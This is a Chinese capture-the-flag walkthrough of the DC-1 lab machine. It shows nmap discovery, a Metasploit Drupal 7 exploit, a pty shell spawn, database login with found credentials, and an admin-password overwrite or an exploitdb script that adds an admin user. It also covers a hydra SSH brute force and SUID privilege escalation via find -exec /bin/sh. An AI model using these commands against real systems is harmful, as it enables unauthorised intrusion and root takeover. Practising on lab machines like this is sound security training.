DC-1 靶机渗透测试(拿shell,提权)

一. 环境

靶机:192.168.1.184

攻击机kali:192.168.1.98

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集

1. 主机发现

01.  nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机

02. nmap -sn 192.168.1.0/24 或者 nmap -sP 192.168.1.0/24  #主机发现/主机探测

03. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口

  -A 全面系统检测、启用脚本检测、扫描等

  -sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

发现了靶机IP 192.168.1.184 及 80端口开放


2.访问 192.168.1.184:80

发现网站是Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本

三. 利用msfconsole 攻击(拿到flag1)

1. 漏洞利用成功

01. search drupal  #查找drupal的漏洞

02. use 2    #利用第2个龙洞

03. show options  #显示详情

04. set rhosts 192.168.1.184 # 设置靶机地址

05. run 或 exploit  # 开始攻击

  --攻击成功后

06. pwd  # 查看当前路径

2. 进入会话 ,拿到flag1.txt  ---shell

四. 找到配置文件,获取flag2

根据提示:Every good CMS needs a config file - and so do you.

                每一个好的CMS都需要一个配置文件——你也一样。

五. 修改管理员密码,登录网站,拿到flag3

1. 获取交互式shell, 执行MySQL语句

flag2提示:最好不要用暴力破解、数据库账号密码

操作发现账号密码无法直接登录mysql,利用netstat -ano    #查看端口情况 ,查看到3306端口只允许本地访问,而3306是mysql的默认端口,由此判断我们要获取一个交互式shell,目的是为了进入数据库,执行mysql语句

netstat -ano    #查看端口情况

python -c 'import pty;pty.spawn("/bin/bash")'  #获取交互式shell,使其可执行MySQL语句

mysql -udbuser -pR0ck3t    #登录MySQL

2. 查看管理员用户

show databases;  #显示所有数据库

use drupaldb;    #选择当前数据库为dr库

show tables;    #显示所以数据表

select * from users;  #显示users表中所有内容,查找管理员账户

3. 修改管理员密码

方法1: 增加一个管理员

查看Drupal版本,确定Drupal版本为7.24;在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

cat /var/www/includes/bootstrap.inc | grep VERSION  #查看版本信息

searchsploit drupal #查看该版本drupal

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2  -p  admin2  #增加管理员用户

方法2: 用drupal的加密脚本加密,脚本在根目录下的scripts

重新进入交互式shell,然后两段cd回到根目录,然后获得hash码

01. python -c 'import pty; pty.spawn("/bin/bash")'  #重新取得交互式shell

02. php scripts/password-hash.sh admin1  #后面你设置的密码

重新进入数据库改密码

03. mysql -udbuser -pR0ck3t  #重新进入MYSQL

04. use drupaldb;  进入数据库

05. update drupaldb.users set pass="$S$DaBKN3LqPTjspZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";

06.

注意: pass后面跟你的加密密码明文,第二段为$后第十二个字开始输

登录账号 admin 密码 admin1,找到flag3

六. 用find语句,找到flag4

find / | grep "flag*"

上面用find 过滤出flag 可以直接找到flag4文件;下面是查找到find有特殊权限(是不是有点晕乎了,那就跳过这个。。)


查看是否有sgid位的可执行文件(0输入,1标准输出,2错误输出)

find / –perm /4000 –print 2>/dev/null

#找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶

七. SUID提权,获取最后的flag

falg4提示:Can you use this same method to find or access the flag in root?

01. find shell  -exec "/bin/sh" \;  #提权 (当前目录有shell文件)

    或者  find / -name shell -exec "/bin/sh" \;

          name指定shell文件也可以touch自己创一个,/bin/sh调用shell

02. whoami #查看权限

03. cd /root #进入root

04. ls #列出文件

05. cat thefinalflag.txt #查看

------再加一点: 我觉得到上面那步就已经结束了,下面的应该是提升权限详解

已知22端口发放,查看etc/shadow和/etc/passwd文件,发现Flag4用户可以hydra爆破一下

hydra -l flag4 -P ssh.txt      爆破成功(-P 后面是自定义爆破字典)Flag4  密码:orange

ssh [email protected]  登录flag4用户,进去之后,发现是“$”,而不是“#”,没有权限

find/ -perm -4000 2>/dev/null  检查SUID标识

find ./ aaa -exec '/bin/sh' \;  利用find提权,拿到root权限

你可能感兴趣的:(DC-1 靶机渗透测试(拿shell,提权))